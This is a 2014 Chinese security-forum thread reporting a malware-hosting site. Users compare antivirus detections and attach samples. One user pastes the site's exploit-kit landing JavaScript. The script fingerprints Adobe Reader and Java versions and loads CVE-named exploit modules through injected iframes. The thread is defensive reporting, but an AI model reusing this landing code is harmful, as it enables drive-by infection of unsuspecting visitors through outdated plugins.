http://365958.gargon98.web.hosting-test.net/ 挂马

墨家小子

Administratorupdate.rar (391.18 KB, 下载次数: 98)

2014-1-15 17:44 上传

点击文件名下载附件



Canon.rar (517.71 KB, 下载次数: 131)

2014-1-15 17:53 上传

点击文件名下载附件

Miostartos

avast 基因启发了这个文件
可以不上报了
更新数据
第二个文件avast也基因启发了

fireold

1. function getVersion(str) {
   
2. 
   
3.     if (str == "Acrobat") {
   
4. 
   
5.         var a_version = new Object();
   
6.         a_version.exists = false;
   
7.         a_version.version = '0';
   
8. 
   
9.         var a_detect = PluginDetect.getVersion("AdobeReader");
   
10.         if (a_detect != null) {
    
11.             a_version.exists = true;
    
12.             var vArray = a_detect.split(",");
    
13.             a_version.version = vArray[0] + vArray[1] + vArray[2];
    
14.         }
    
15.         return a_version;
    
16. 
    
17.     }
    
18.     if (str == "Java") {
    
19.         var j_version = new Object();
    
20.         j_version.exists = false;
    
21.         j_version.version = '0';
    
22.         j_version.build = '0';
    
23. 
    
24.         var j_detect = PluginDetect.getVersion('Java', 'include/getJavaInfo.jar')
    
25. 
    
26.         if (j_detect != null) {
    
27.             j_version.exists = true;
    
28.             var vArray = j_detect.split(",");
    
29.             j_version.version = vArray[1];
    
30.             j_version.build = vArray[3];
    
31.         }
    
32.         return j_version;
    
33.     }
    
34. 
    
35. }
    
36. 
    
37. var FramesArray = new Array();
    
38. var CurrentModule = 0;
    
39. 
    
40. function InitializeVisitor() {
    
41.     var newDIV = document.createElement("div");
    
42.     newDIV.innerHTML = "<iframe src='add_visitor.php?referrer='></iframe>";
    
43.     document.body.appendChild(newDIV);
    
44. }
    
45. 
    
46. function NextModule() {
    
47. 
    
48.     var newDIV = document.createElement("div");
    
49.     newDIV.innerHTML = "<iframe src='" + FramesArray[CurrentModule] + "'></iframe>";
    
50.     document.body.appendChild(newDIV);
    
51. 
    
52.     if (CurrentModule < FramesArray.length - 1) {
    
53.         CurrentModule++;
    
54.         setTimeout("NextModule()", 5000);
    
55.     }
    
56. }
    
57. 
    
58. function AcrobatModule() {
    
59.     var a_version = getVersion("Acrobat");
    
60.     if (a_version.exists) {
    
61.         if (a_version.version >= 800 && a_version.version < 821) {
    
62.             FramesArray.push("load_module.php?e=Adobe-80-2010-0188");
    
63.         } else if (a_version.version >= 900 && a_version.version < 940) {
    
64.             if (a_version.version < 931) {
    
65.                 FramesArray.push("load_module.php?e=Adobe-90-2010-0188");
    
66.             } else if (a_version.version < 933) {
    
67.                 FramesArray.push("load_module.php?e=Adobe-2010-1297");
    
68. 
    
69.             } else if (a_version.version < 940) {
    
70.                 FramesArray.push("load_module.php?e=Adobe-2010-2884");
    
71.             }
    
72.         } else if (a_version.version >= 700 && a_version.version < 711) {
    
73.             FramesArray.push("load_module.php?e=Adobe-2008-2992");
    
74.         }
    
75.     }
    
76. }
    
77. 
    
78. function JavaModule() {
    
79.     var j_version = getVersion("Java");
    
80.     if (j_version.exists) {
    
81.         if (j_version.version < 6 || (j_version.version == 6 && j_version.build < 19)) {
    
82.             FramesArray.push("load_module.php?e=Java-2010-0842");
    
83. 
    
84. 
    
85.         }
    
86.     }
    
87. }
    
88. 
    
89. function SignedModule() {
    
90.     var j_version = getVersion("Java");
    
91.     if (j_version.exists) {
    
92.         FramesArray.push("load_module.php?e=JavaSignedApplet");
    
93.     }
    
94. }
    
95. 
    
96. InitializeVisitor();
    
97. 
    
98. JavaModule();
    
99. 
    
100. AcrobatModule();
     
101. 
     
102. SignedModule();
     
103. if (FramesArray.length > 0) {
     
104.     NextModule();
     
105. }

复制代码

whohever

AVG kill、

3801187

vingerlin

Bitdefender blocked this page
The page you are trying to access contains Gen:Variant.Symmi.18407.